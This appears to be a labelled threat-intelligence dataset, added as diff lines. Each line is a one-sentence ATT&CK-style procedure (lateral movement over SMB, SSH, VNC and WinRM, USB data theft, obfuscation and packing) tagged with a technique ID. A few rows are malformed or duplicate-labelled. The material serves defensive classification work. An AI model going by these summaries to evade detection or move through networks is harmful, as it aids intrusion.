+"Lazarus Group malware SierraAlfa accesses the ""ADMIN$"" share via SMB to conduct lateral movement."	['T1021.002']
+Moses Staff has used batch scripts that can enable SMB on a compromised host.	['T1021.002']
+Net Crawler uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.	['T1021.002']
+"Olympic Destroyer uses PsExec to interact with the ""ADMIN$"" network share to execute commands on remote systems."	['T1021.002']
+Operation Wocao has used Impacket's smbexec.py as well as accessing the C$ and IPC$ shares to move laterally.	['T1021.002']
+Orangeworm has copied its backdoor across open network shares, including ADMIN$, C$WINDOWS, D$WINDOWS, and E$WINDOWS.	['T1021.002']
+"PsExec, a tool that has been used by adversaries, writes programs to the ""ADMIN$"" network share to execute commands on remote systems."	['T1021.002']
+"Sandworm Team has run ""net use"" to connect to network shares."	['T1021.002']
+Shamoon accesses network share(s), enables share access to the target device, copies an executable payload to the target system, and uses a Scheduled Task/Job to execute the malware.	['T1021.002']
+Stuxnet propagates to available network shares.	['T1021.002']
+The Regin malware platform can use Windows admin shares to move laterally.	['T1021.002']
+"Threat Group-1314 actors mapped network drives using ""net use""."	['T1021.002']
+"Turla used ""net use"" commands to connect to lateral systems within a network."	['T1021.002']
+Wizard Spider has used SMB to drop Cobalt Strike Beacon on a domain controller for lateral movement.	['T1021.002']
+Zox has the ability to use SMB for communication.	['T1021.002']
+zwShell has been copied over network shares to move laterally.	['T1021.002']
+"Cobalt Strike can deliver ""beacon"" payloads for lateral movement by leveraging remote COM execution."	['T1021.003']
+Cobalt Strike can deliver Beacon payloads for lateral movement by leveraging remote COM execution.	['T1021.003']
+SILENTTRINITY can use `System` namespace methods to execute lateral movement using DCOM.	['T1021.003']
+APT39 used secure shell (SSH) to move laterally among their targets.	['T1021.004']
+BlackTech has used Putty for remote access.	['T1021.004']
+Cobalt Strike can SSH to a remote service.	['T1021.004']
+Empire contains modules for executing commands over SSH as well as in-memory VNC agent injection.	['T1021.004']
+FIN7 has used SSH to move laterally through victim environments.	['T1021.004']
+GCMAN uses Putty for lateral movement.	['T1021.004']
+Kinsing has used SSH for lateral movement.	['T1021.004']
+Lazarus Group used SSH and the PuTTy PSCP utility to gain access to a restricted segment of a compromised network.	['T1021.004']
+Leviathan used ssh for internal reconnaissance.	['T1021.004']
+TEMP.Veles has relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution.	['T1021.004']
+TeamTNT has used SSH to connect back to victim machines. TeamTNT has also used SSH to transfer tools and payloads onto victim hosts and execute them.	['T1021.004']
+menuPass has used Putty Secure Copy Client (PSCP) to transfer data.	['T1021.004']
+DanBot can use VNC for remote access to targeted systems.	['T1021.005']
+FIN7 has used TightVNC to control compromised hosts.	['T1021.005']
+Fox Kitten has installed TightVNC server and client on compromised servers and endpoints for lateral movement.	['T1021.005']
+GCMAN uses VNC for lateral movement.	['T1021.005']
+Gamaredon Group has used VNC tools, including UltraVNC, to remotely interact with compromised hosts.	['T1021.005']
+ZxShell supports functionality for VNC sessions.	['T1021.005']
+APT29 has used WinRM via PowerShell to execute command and payloads on remote hosts.	['T1021.006']
+SILENTTRINITY tracks `TrustedHosts` and can move laterally to these targets via WinRM.	['T1021.006']
+Threat Group-3390 has used WinRM to enable remote execution.	['T1021.006']
+UNC2452 has used WinRM via PowerShell to execute command and payloads on remote hosts.	['T1021.006']
+A Gamaredon Group file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives.	['T1025']
+An APT28 backdoor may collect the entire contents of an inserted USB device.	['T1025']
+AppleSeed can find and collect data from removable media devices.	['T1025']
+Aria-body has the ability to collect data from USB devices.	['T1025']
+"BADNEWS copies files with certain extensions from USB devices to
+a predefined directory."	['T1025']
+Explosive can scan all .exe files located in the USB drive.	['T1025']
+FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. The default file types copied would include data copied to the drive by SPACESHIP.	['T1025']
+GravityRAT steals files based on an extension list if a USB drive is connected to the system.	['T1025']
+Machete had a module in its malware to find, encrypt, and upload files from fixed and removable drives.	['T1025']
+ObliqueRAT has the ability to extract data from removable devices connected to the endpoint.	['T1025']
+Once a removable media device is inserted back into the first victim, USBStealer collects data from it that was exfiltrated from a second victim.	['T1025']
+Prikormka contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB.	['T1025']
+Ramsay can collect data from removable media and stage it for exfiltration.	['T1025']
+Remsec has a package that collects documents from any inserted USB sticks.	['T1025']
+TajMahal has the ability to steal written CD images and files of interest from previously connected removable drives when they become available again.	['T1025']
+The FunnyDream FilePakMonitor component has the ability to collect files from removable devices.	['T1025']
+Turla RPC backdoors can collect files from USB thumb drives.	['T1025']
+A JPIN uses a encrypted and compressed payload that is disguised as a bitmap within the resource section of the installer.	['T1027']
+A RedLeaves configuration file is encrypted with a simple XOR key, 0x53.	['T1027']
+A Threat Group-3390 tool can encrypt payloads using XOR. Threat Group-3390 malware is also obfuscated using Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression.	['T1027']
+A Volgmer variant is encoded using a simple XOR cipher.	['T1027']
+APT-C-36 has used ConfuserEx to obfuscate its variant of Imminent Monitor, compressed payload and RAT packages, and password protected encrypted email attachments to avoid detection.	['T1027']
+APT18 obfuscates strings in the payload.	['T1027']
+APT19 used Base64 to obfuscate commands and the payload.	['T1027']
+APT28 encrypted a .dll payload using RTL and a custom encryption algorithm. APT28 has also obfuscated payloads with base64, XOR, and RC4.	['T1027']
+APT29 has used encoded PowerShell commands.	['T1027']
+APT3 obfuscates files or information to help evade defensive measures.	['T1027']
+"APT32 uses the Invoke-Obfuscation framework to obfuscate their PowerShell and also performs other code obfuscation. APT32 has also encoded payloads using Base64 and a framework called ""Dont-Kill-My-Cat (DKMC). APT32 also encrypts the library used for network exfiltration with AES-256 in CBC mode in their macOS backdoor."	['T1027']
+APT33 has used base64 to encode payloads.	['T1027']
+APT34 has used base64-encoded files that are dropped to victims.	['T1027']
+APT37 obfuscates strings and payloads.	['T1027']
+Action RAT's commands, strings, and domains can be Base64 encoded within the payload.	['T1027']
+Anchor has obfuscated code with stack strings and string encryption.	['T1027']
+AppleJeus has XOR-encrypted collected system information prior to sending to a C2. AppleJeus has also used the open source ADVObfuscation library for its components.	['T1027']
+AppleSeed has the ability to Base64 encode its payload and custom encrypt API calls.	['T1027']
+Aria-body has used an encrypted configuration file for its loader.	['T1027']
+Astaroth obfuscates its JScript code, and has used an XOR-based algorithm to encrypt payloads twice with different keys.	['T1027']
+AuditCred encrypts the configuration.	['T1027']
+Avaddon has used encrypted strings.	['T1027']
+Avenger has the ability to XOR encrypt files to be sent to C2.	['T1027']
+BLINDINGCAN has obfuscated code using Base64 encoding.	['T1027']
+BLUELIGHT has a XOR-encoded payload.	['T1027']
+BOOSTWRITE has encoded its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit Initialization vector (IV) to evade detection.	['T1027']
+BackdoorDiplomacy has obfuscated tools and malware it uses with VMProtect.	['T1027']
+Bazar has used XOR, RSA2, and RC4 encrypted files.	['T1027']
+BendyBear has encrypted payloads using RC4 and XOR.	['T1027']
+BitPaymer has used RC4-encrypted strings and string hashes to avoid identifiable strings within the binary.	['T1027']
+BlackOasis's first stage shellcode contains a NOP sled with alternative instructions that was likely designed to bypass antivirus tools.	['T1027']
+Blue Mockingbird has obfuscated the wallet address in the payload binary.	['T1027']
+BoomBox can encrypt data using AES prior to exfiltration.	['T1027']
+Bumblebee has been delivered as password-protected zipped ISO files and used control-flow-flattening to obfuscate the flow of functions.	['T1027']
+CARROTBAT has the ability to download a base64 encoded payload and execute obfuscated commands on the infected host.	['T1027']
+Carbanak encrypts strings to make analysis more difficult.	['T1027']
+Carberp has used XOR-based encryption to mask C2 server locations within the trojan.	['T1027']
+Chimera has encoded PowerShell commands.	['T1027']
+Chinoxy has encrypted its configuration file.	['T1027']
+Cobalt Group obfuscated several scriptlets and code used on the victim’s machine, including through use of XOR and RC4.	['T1027']
+Cobalt Strike can hash functions to obfuscate calls to the Windows API and use a public/private key pair to encrypt Beacon session metadata.	['T1027']
+CoinTicker initially downloads a hidden encoded file.	['T1027']
+ComRAT has used encryption and base64 to obfuscate its orchestrator code in the Registry. ComRAT has encrypted its virtual file system using AES-256 in XTS mode and has encoded PowerShell scripts.	['T1027']
+Comnie uses RC4 and Base64 to obfuscate strings.	['T1027']
+Conficker has obfuscated its code to prevent its removal from host machines.	['T1027']
+Conti can use compiler-based obfuscation for its code, encrypt DLLs, and hide Windows API calls.	['T1027']
+CookieMiner has used base64 encoding to obfuscate scripts on the system.	['T1027']
+Cuba has used multiple layers of obfuscation to avoid analysis, including its Base64 encoded payload.	['T1027']
+DCSrv's configuration is encrypted.	['T1027']
+DRATzarus can be partly encrypted with XOR.	['T1027']
+Dacls can encrypt its configuration file with AES CBC.	['T1027']
+DanBot can Base64 encode its payload.	['T1027']
+Dark Caracal has obfuscated strings in Bandook by base64 encoding, and then encrypting them.	['T1027']
+DarkWatchman has used Base64 to encode PowerShell commands. DarkWatchman has been delivered as compressed RAR payloads in ZIP files to victims.	['T1027']
+Denis obfuscates its code and encrypts the API names. Denis also encodes its payload in Base64.	['T1027']
+Diavol has Base64 encoded the RSA public key used for encrypting files.	['T1027']
+Donut can generate encrypted, compressed/encoded, or otherwise obfuscated code modules.	['T1027']
+Dridex's strings are obfuscated using RC4.	['T1027']
+Droppers used by Putter Panda use RC4 or a 16-byte XOR key consisting of the bytes 0xA0 – 0xAF to obfuscate payloads.	['T1027']
+Drovorub has used XOR encrypted payloads in WebSocket client to server messages.	['T1027']
+Dtrack has used a dropper that embeds an encrypted payload as extra data.	['T1027', 'T1027.009']
+During C0015, the threat actors used Base64-encoded strings.	['T1027']
+During Frankenstein, the threat actors ran encoded commands from the command line.	['T1027']
+During Night Dragon, threat actors used a DLL that included an XOR-encoded section.	['T1027']
+During Operation CuckooBees, the threat actors executed an encoded VBScript file.	['T1027']
+During Operation Dust Storm, the threat actors encoded some payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key; other payloads were Base64-encoded.	['T1027']
+During Operation Honeybee, the threat actors used Base64 to encode files with a custom key.	['T1027']
+EKANS uses encoded strings in its process kill list.	['T1027']
+Earth Lusca used Base64 to encode strings.	['T1027']
+Ebury has obfuscated its strings with a simple XOR encryption with a static key.	['T1027']
+Elderwood has encrypted documents and malicious executables.	['T1027']
+Elise encrypts several of its files, including configuration files.	['T1027']
+Ember Bear has obfuscated malware and malicious scripts to help avoid detection.	['T1027']
+Emotet has obfuscated macros within malicious documents to hide the URLs hosting the malware,  CMD.exe arguments, and PowerShell scripts.	['T1027']
+EnvyScout can Base64 encode payloads.	['T1027']
+Exaramel for Linux uses RC4 for encrypting the configuration.	['T1027']
+Exaramel uses RC4 for encrypting the configuration.	['T1027']
+FELIXROOT encrypts strings in the backdoor using a custom XOR algorithm.	['T1027']
+FIN6 has used encoded PowerShell commands.	['T1027']
+FIN7 has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands.	['T1027']
+FIN8 has used environment variables and standard input (stdin) to obfuscate command-line arguments. FIN8 also obfuscates malicious macros delivered as payloads.	['T1027']
+FatDuke can use base64 encoding, string stacking, and opaque predicates for obfuscation.	['T1027']
+Flagpro has been delivered within ZIP or RAR password-protected archived files.	['T1027']
+FlawedGrace encrypts its C2 configuration files with AES in CBC mode.	['T1027']
+FoggyWeb has been XOR-encoded.	['T1027']
+For Operation Spalax, the threat actors used XOR-encrypted payloads.	['T1027']
+Frankenstein has run encoded commands from the command line.	['T1027']
+FruitFly executes and stores obfuscated Perl scripts.	['T1027']
+GALLIUM used a modified version of HTRAN in which they obfuscated strings such as debug messages in an apparent attempt to evade detection.	['T1027']
+GOLD SOUTHFIELD has executed base64 encoded PowerShell scripts on compromised hosts.	['T1027']
+Gallmaker obfuscated shellcode used during execution.	['T1027']
+Gamaredon Group has delivered self-extracting 7z archive files within malicious document attachments, and used obfuscated or encrypted scripts.	['T1027']
+Gazer logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources.	['T1027']
+Gelsemium has the ability to compress its components.	['T1027']
+GoldMax has written AES-encrypted and Base64-encoded configuration files to disk.	['T1027']
+GoldenSpy's uninstaller has base64-encoded its variables.	['T1027']
+Goopy's decrypter have been inflated with junk code in between legitimate API functions, and also included infinite loops to avoid analysis.	['T1027']
+"GravityRAT supports file encryption (AES with the key ""lolomycin2017"")."	['T1027']
+Green Lambert has encrypted strings.	['T1027']
+GreyEnergy encrypts its configuration files with AES-256 and also encrypts its strings.	['T1027']
+GrimAgent has used Rotate on Right (RoR) and Rotate on Left (RoL) functionality to encrypt strings.	['T1027']
+Group5 disguised its malicious binaries with several layers of obfuscation, including encrypting the files.	['T1027']
+H1N1 uses multiple techniques to obfuscate strings, including XOR.	['T1027']
+HAWKBALL has encrypted the payload with an XOR-based algorithm.	['T1027']
+HTTPBrowser's code may be obfuscated through structured exception handling and return-oriented programming.	['T1027']
+HermeticWiper can compress 32-bit and 64-bit driver files with the Lempel-Ziv algorithm.	['T1027']
+HermeticWizard has the ability to encrypt PE files with a reverse XOR loop.	['T1027']
+Hi-Zor uses various XOR techniques to obfuscate its components.	['T1027']
+HiddenWasp encrypts its configuration and payload.	['T1027']
+Higaisa used Base64 encoded compressed payloads.	['T1027']
+Hildegard has encrypted an ELF file.	['T1027']
+HotCroissant has encrypted strings with single-byte XOR and base64 encoded RC4.	['T1027']
+ISMInjector is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.	['T1027']
+"IceApple can use Base64 and ""junk"" JavaScript code to obfuscate information."	['T1027']
+"If the victim is using PowerShell 3.0 or later, POWERSOURCE writes its decoded payload to an Alternate Data Stream (ADS) named kernel32.dll that is saved in ""%PROGRAMDATA%\Windows\""."	['T1027']
+Imminent Monitor has encrypted the spearphish attachments to avoid detection from email gateways; the debugger also encrypts information before sending to the C2.	['T1027']
+In one version of KeyBoy, string obfuscation routines were used to hide many of the critical values referenced in the malware.	['T1027']
+Industroyer uses heavily obfuscated code in its Windows Notepad backdoor.	['T1027']
+InnaputRAT uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload.	['T1027']
+InvisiMole avoids analysis by encrypting all strings, internal files, configuration data and by using a custom executable format.	['T1027']
+KGH_SPY has used encrypted strings in its installer.	['T1027']
+KOCTOPUS has obfuscated scripts with the BatchEncryption tool.	['T1027']
+KONNI is heavily obfuscated and includes encrypted configuration files.	['T1027']
+Kerrdown can encrypt, encode, and compress multiple layers of shellcode.	['T1027']
+Kessel's configuration is hardcoded and RC4 encrypted within the binary.	['T1027']
+Kevin has Base64-encoded its configuration file.	['T1027']
+KillDisk uses VMProtect to make reverse engineering the malware more difficult.	['T1027']
+Lazarus Group has used multiple types of encryption and encoding for their payloads, including AES, Caracachs, RC4, XOR, Base64, and other tricks such as creating aliases in code for Native API function names.	['T1027']
+LazyScripter has leveraged the BatchEncryption tool to perform advanced batch obfuscation and encoding techniques.	['T1027']
+Leviathan has obfuscated code using base64 and gzip compression.	['T1027']
+LightNeuron encrypts its configuration files with AES-256.	['T1027']
+Lokibot has obfuscated strings with base64 encoding.	['T1027']
+LoudMiner has obfuscated various scripts and encrypted DMG files.	['T1027']
+MCMD can Base64 encode output strings prior to sending to C2.	['T1027']
+Machete employed some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis.	['T1027']
+Machete has used pyobfuscate, zlib compression, and base64 encoding for obfuscation. Machete has also used some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis.	['T1027']
+Many strings in JHUHUGIT are obfuscated with a XOR algorithm.	['T1027']
+Maze has decrypted strings and other important information during the encryption process. Maze also calls certain functions dynamically to hinder analysis.	['T1027']
+Metamorfo has encrypted payloads and strings.	['T1027']
+Micropsia obfuscates the configuration with a custom Base64 and XOR.	['T1027']
+Milan can encode files containing information about the targeted system.	['T1027']
+Molerats has delivered compressed executables within ZIP files to victims.	['T1027']
+More_eggs's payload has been encrypted with a key that has the hostname and processor family information appended to the end.	['T1027']
+Moses Staff has used obfuscated web shells in their operations.	['T1027']
+Mosquito’s installer is obfuscated with a custom crypter to obfuscate the installer.	['T1027']
+Most strings in USBStealer are encrypted using 3DES and XOR and reversed.	['T1027']
+MuddyWater has used Daniel Bohannon’s Invoke-Obfuscation framework and obfuscated PowerShell scripts. The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands.	['T1027']
+NanHaiShu encodes files in Base64.	['T1027']
+NanoCore’s plugins were obfuscated with Eazfuscater.NET 3.3.	['T1027']
+OLDBAIT obfuscates internal strings and unpacks them at startup.	['T1027']
+Operation Wocao has executed PowerShell commands which were encoded or compressed using Base64, zlib, and XOR.	['T1027']
+P.A.S. Webshell can use encryption and base64 encoding to hide strings and to enforce access control once deployed.	['T1027']
+POSHSPY appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download.	['T1027']
+POWERSTATS uses character replacement, PowerShell environment variables, and XOR encoding to obfuscate code. POWERSTATS's backdoor code is a multi-layer obfuscated, encoded, and compressed blob.  POWERSTATS has used PowerShell code with custom string obfuscation	['T1027']
+PS1 is distributed as a set of encrypted files and scripts.	['T1027']
+PUNCHBUGGY has hashed most its code's functions and encrypted payloads with base64 and XOR.	['T1027']
+PlugX can use API hashing and modify the names of strings to evade detection.	['T1027']
+PoetRAT has used a custom encryption scheme for communication between scripts and pyminifier to obfuscate scripts.	['T1027']
+PoisonIvy hides any strings related to its own indicators of compromise.	['T1027']
+PolyglotDuke can custom encrypt strings.	['T1027']
+Pony attachments have been delivered via compressed archive files. Pony also obfuscates the memory flow by adding junk instructions when executing to make analysis more difficult.	['T1027']
+PowerDuke uses steganography to hide backdoors in PNG files, which are also encrypted using the Tiny Encryption Algorithm (TEA).	['T1027', 'T1027.003']
+PowerPunch can use Base64-encoded scripts.	['T1027']
+PowerSploit contains a collection of ScriptModification modules that compress and encode scripts and payloads.	['T1027']
+PowerStallion uses a XOR cipher to encrypt command output written to its OneDrive C2 server.	['T1027']
+QUADAGENT was likely obfuscated using Invoke-Obfuscation.	['T1027']
+QakBot can use obfuscated and encoded scripts; it has also hidden code within Excel spreadsheets by turning the font color to white and splitting it across multiple cells.	['T1027']
+REvil has used encrypted strings and configuration files.	['T1027']
+ROKRAT can encrypt data prior to exfiltration by using an RSA public key.	['T1027']
+RTM strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm. RTM has also been delivered to targets as various archive files including ZIP, 7-ZIP, and RAR.	['T1027']
+Ramsay has base64-encoded its portable executable and hidden itself under a JPG header. Ramsay can also embed information within document footers.	['T1027']
+Reaver encrypts some of its files with XOR.	['T1027']
+RegDuke can use control-flow flattening or the commercially available .NET Reactor for obfuscation.	['T1027']
+Remcos uses RC4 and base64 to obfuscate data, including Registry entries and file paths.	['T1027']
+Rifdoor has encrypted strings with a single byte XOR algorithm.	['T1027']
+Rocke has modified UPX headers after packing files to break unpackers.	['T1027']
+SHARPSTATS has used base64 encoding and XOR to obfuscate PowerShell scripts.	['T1027']
+SHOTPUT is obscured using XOR encoding and appended to a valid GIF file.	['T1027']
+SQLRat has used a character insertion obfuscation technique, making the script appear to contain Chinese characters.	['T1027']
+STARWHALE has been obfuscated with hex-encoded strings.	['T1027']
+"SUNSPOT encrypted log entries it collected with the stream cipher RC4 using a hard-coded key. It also uses AES128-CBC encrypted blobs for SUNBURST source code and data extracted from the SolarWinds Orion <MsBuild.exe"" process."	['T1027']
+SUPERNOVA contained Base64-encoded strings.	['T1027']
+Sakula uses single-byte XOR obfuscation to obfuscate many of its files.	['T1027']
+SamSam has been seen using AES or DES to encrypt payloads and payload components.	['T1027']
+Sandworm Team has used Base64 encoding within malware variants. Sandworm Team has also used ROT13 encoding, AES encryption and compression with the zlib library for their Python-based backdoor.	['T1027']
+Seasalt obfuscates configuration data.	['T1027']
+ShadowPad has encrypted its payload, a virtual file system, and various files.	['T1027']
+Shamoon contains base64-encoded strings.	['T1027']
+Shark can use encrypted and encoded files for C2 configuration.	['T1027']
+ShimRat has been delivered as a package that includes compressed DLL and shellcode payloads within a .dat file.	['T1027']
+ShimRatReporter encrypted gathered information with a combination of shifting and XOR using a static key.	['T1027']
+Sibot has obfuscated scripts used in execution.	['T1027']
+Sidewinder has used base64 encoding and ECDH-P256 encryption for scripts and files.	['T1027']
+Silence has used environment variable string substitution for obfuscation.	['T1027']
+Siloscape itself is obfuscated and uses obfuscated API calls.	['T1027']
+Skidmap has encrypted it's main payload using 3DES.	['T1027']
+Sliver can encrypt strings at compile time.	['T1027']
+Smoke Loader uses a simple one-byte XOR method to obfuscate values in the malware.	['T1027']
+"SodaMaster can use ""stackstrings"" for obfuscation."	['T1027']
+SombRAT can encrypt strings with XOR-based routines and use a custom AES storage format for plugins, configuration, C2 domains, and harvested data.	['T1027']
+Some Orz strings are base64 encoded, such as the embedded DLL known as MockDll.	['T1027']
+Some data in Remsec is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.	['T1027']
+Some resources in Prikormka are encrypted with a simple XOR operation or encoded with Base64.	['T1027']
+Some strings in HOMEFRY are obfuscated with XOR x56.	['T1027']
+SoreFang has the ability to encode and RC6 encrypt data sent to C2.	['T1027']
+SpeakUp encodes its second-stage payload with Base64.	['T1027']
+Squirrelwaffle has been obfuscated with a XOR-based algorithm.	['T1027']
+StoneDrill has obfuscated its module with an alphabet-based table or XOR encryption.	['T1027']
+StreamEx obfuscates some commands by using statically programmed fragments of strings when starting a DLL. It also uses a one-byte xor against 0x91 to encode configuration data.	['T1027']
+Strings in Attor's components are encrypted with a XOR cipher, using a hardcoded key and the configuration data, log files and plugins are encrypted using a hybrid encryption scheme of Blowfish-OFB combined with RSA.	['T1027']
+SynAck payloads are obfuscated prior to compilation to inhibit analysis and/or reverse engineering.	['T1027']
+SysUpdate can encrypt and encode its configuration file.	['T1027']
+TA505 has password-protected malicious Word documents and used base64 encoded PowerShell commands.	['T1027']
+TEARDROP created and read from a file with a fake JPG header, and its payload was encrypted with a simple rotating XOR cipher.	['T1027']
+Taidoor can use encrypted string blocks for obfuscation.	['T1027']
+TeamTNT has encrypted its binaries via AES and encoded files using Base64.	['T1027']
+The FIVEHANDS payload is encrypted with AES-128.	['T1027']
+The Grandoreiro payload has been delivered encrypted with a custom XOR-based algorithm and also as a base64-encoded ZIP file.	['T1027']
+The Helminth config file is encrypted with RC4.	['T1027']
+ThreatNeedle has been compressed and obfuscated using RC4, AES, or XOR.	['T1027']
+Torisma has been Base64 encoded and AES encrypted.	['T1027']
+Trojan.Karagany can base64 encode and AES-128-CBC encrypt data prior to transmission.	['T1027']
+Tropic Trooper has encrypted configuration files.	['T1027']
+Turian can use VMProtect for obfuscation.	['T1027']
+UBoatRAT encrypts instructions in the payload using a simple XOR cipher.	['T1027']
+UNC2452 used encoded PowerShell commands.	['T1027']
+"Ursnif has used an XOR-based algorithm to encrypt Tor clients dropped to disk.	Ursnif droppers have also been delivered as password-protected zip files that execute base64 encoded PowerShell commands."	['T1027']
+Valak has the ability to base64 encode and XOR encrypt strings.	['T1027']
+"Variants of Emissary encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the ""srand"" and ""rand"" functions."	['T1027']
+Waterbear has used RC4 encrypted shellcode and encrypted functions.	['T1027']
+WhisperGate can Base64 encode strings, store downloaded files in reverse byte order,  and use the Eazfuscator tool to obfuscate its third stage.	['T1027']
+Whitefly has encrypted the payload used for C2.	['T1027']
+WindTail can be delivered as a compressed, encrypted, and encoded payload.	['T1027']
+Winnti for Linux can encode its configuration file with single-byte XOR encoding.	['T1027']
+Winnti for Windows has the ability to encrypt and compress its payload.	['T1027']
+Wizard Spider used Base64 encoding to obfuscate an Empire service and PowerShell commands.	['T1027']
+ZeroT has encrypted its payload with RC4.	['T1027']
+Zeus Panda encrypts strings with XOR and obfuscates the macro code from the initial payload. Zeus Panda also encrypts all configuration and settings in AES and RC4.	['T1027']
+hides any strings related to its own indicators of compromise.	['T1027', 'T1027']
+jRAT’s Java payload is encrypted with AES. Additionally, backdoor files are encrypted using DES as a stream cipher. Later variants of jRAT also incorporated AV evasion methods such as Java bytecode obfuscation via the commercial Allatori obfuscation tool.	['T1027']
+njRAT has included a base64 encoded executable.	['T1027']
+A version of XTunnel introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products.	['T1027.001']
+APT29 has used large file sizes to avoid detection.	['T1027.001']
+"BRONZE BUTLER downloader code has included ""0"" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection."	['T1027.001']
+Before writing to disk, Kwampirs inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.	['T1027.001']
+Bisonal has appended random binary data to the end of itself to generate a large binary.	['T1027.001']
+CORESHELL contains unused machine instructions in a likely attempt to hinder analysis.	['T1027.001']
+Comnie appends a total of 64MB of garbage data to a file to deter any security products in place that may be scanning files on disk.	['T1027.001']
+CostaBricks has added the entire unobfuscated code of the legitimate open source application Blink to its code.	['T1027.001']
+Ember Bear has added extra spaces between JavaScript code characters to increase the overall file size.	['T1027.001']
+FatDuke has been packed with junk code and strings.	['T1027.001']
+Gamaredon Group has obfuscated .NET executables by inserting junk code.	['T1027.001']
+Gelsemium can use junk code to hide functions and evade detection.	['T1027.001']
+Goopy has had null characters padded in its malicious DLL payload.	['T1027.001']
+GrimAgent has the ability to add bytes to change the file hash.	['T1027.001']
+Higaisa performed padding with null bytes before calculating its hash.	['T1027.001']
+Javali can use large obfuscated libraries to hinder detection and analysis.	['T1027.001']
+Leviathan has inserted garbage characters into code, presumably to avoid anti-virus detection.	['T1027.001']
+Maze has inserted large blocks of junk code, including some components to decrypt strings and other important information for later in the encryption process.	['T1027.001']
+Mustang Panda has used junk code within their DLL files to hinder analysis.	['T1027.001']
+Patchwork apparently altered NDiskMonitor samples by adding four bytes of random letters in a likely attempt to change the file hashes.	['T1027.001', 'T1027.005']
+"TAINTEDSCRIBE can execute ""FileRecvWriteRand"" to append random bytes to the end of a file received from C2."	['T1027.001']
+ZeroT has obfuscated DLLs and functions using dummy API calls inserted between real instructions.	['T1027.001']
+A FinFisher variant uses a custom packer.	['T1027.002']
+A Patchwork payload was packed with UPX.	['T1027.002']
+A version of Daserf uses the MPRESS packer.	['T1027.002']
+APT29 used UPX to pack files.	['T1027.002']
+APT3 has been known to pack their tools.	['T1027.002']
+APT38 has used several code packing methods such as Themida, Enigma, VMProtect, and Obsidium, to pack their implants.	['T1027.002']
+APT39 has packed tools with UPX, and has repacked a modified version of Mimikatz to thwart anti-virus detection.	['T1027.002']
+Anchor has come with a packed payload.	['T1027.002']
+Aoqin Dragon has used the Themida packer to obfuscate malicious payloads.	['T1027.002']
+Astaroth uses a software packer called Pe123\RPolyCryptor.	['T1027.002']
+Bisonal has used the MPRESS packer and similar tools for obfuscation.	['T1027.002']
+CSPY Downloader has been packed with UPX.	['T1027.002']
+China Chopper's client component is packed with UPX.	['T1027.002']
+Clop has been packed to help avoid detection.	['T1027.002']
+CostaBricks can implement a custom-built virtual machine mechanism to obfuscate its code.	['T1027.002']
+DRATzarus's dropper can be packed with UPX.	['T1027.002']
+DarkComet has the option to compress its payload using UPX or MPRESS.	['T1027.002']
+Dok is packed with an UPX executable packer.	['T1027.002']
+During Night Dragon, threat actors used software packing in its tools.	['T1027.002']
+Dyre has been delivered with encrypted resources and must be unpacked for execution.	['T1027.002']
+Egregor's payloads are custom-packed, archived and encrypted to prevent analysis.	['T1027.002']
+Elderwood has packed malware payloads before delivery to victims.	['T1027.002']
+FYAnti has used ConfuserEx to pack its .NET module.	['T1027.002']
+FatDuke has been regularly repacked by its operators to create large binaries and evade detection.	['T1027.002']
+For Operation Dust Storm, the threat actors used UPX to pack some payloads.	['T1027.002']
+For Operation Spalax, the threat actors used a variety of packers, including CyaX, to obfuscate malicious executables.	['T1027.002']
+GreyEnergy is packed for obfuscation.	['T1027.002']
+H1N1 uses a custom packing algorithm.	['T1027.002']
+Hildegard has packed ELF files into other binaries.	['T1027.002']
+HotCroissant has used the open source UPX executable packer.	['T1027.002']
+HyperBro has the ability to pack its payload.	['T1027.002']
+Kimsuky has packed malware with UPX.	['T1027.002']
+Lazarus Group has used Themida to pack malicious DLLs and other files.	['T1027.002']
+LiteDuke has been packed with multiple layers of encryption.	['T1027.002']
+Lokibot has used several packing methods for obfuscation.	['T1027.002']
+Machete has been packed with NSIS.	['T1027.002']
+Melcoz has been packed with VMProtect and Themida.	['T1027.002']
+Metamorfo has used VMProtect to pack and protect files.	['T1027.002']
+NETWIRE has used .NET packer tools to evade detection.	['T1027.002']
+Night Dragon is known to use software packing in its tools.	['T1027.002']
+OSX_OCEANLOTUS.D has a variant that is packed with UPX.	['T1027.002']
+OopsIE uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2.	['T1027.002']
+QakBot can encrypt and pack malicious payloads.	['T1027.002']
+Raindrop used a custom packer for its Cobalt Strike payload, which was compressed using the LZMA algorithm.	['T1027.002']
+Rocke's miner has created UPX-packed files in the Windows Start Menu Folder.	['T1027.002', 'T1547.001']
+SDBbot has used a packed installer file.	['T1027.002']
+Saint Bot has been packed using a dark market crypter.	['T1027.002']
+Sandworm Team used UPX to pack a copy of Mimikatz.	['T1027.002']
+SeaDuke has been packed with the UPX packer.	['T1027.002']
+ShimRat's loader has been packed with the compressed ShimRat core DLL and the legitimate DLL for it to hijack.	['T1027.002']
+Some S-Type samples have been packed with UPX.	['T1027.002']
+Some ZeroT DLL files have been packed with UPX.	['T1027.002']
+Spark has been packed with Enigma Protector to obfuscate its contents.	['T1027.002']
+Squirrelwaffle has been packed with a custom packer to hide payloads.	['T1027.002']
+TA505 has used UPX to obscure malicious code.	['T1027.002']
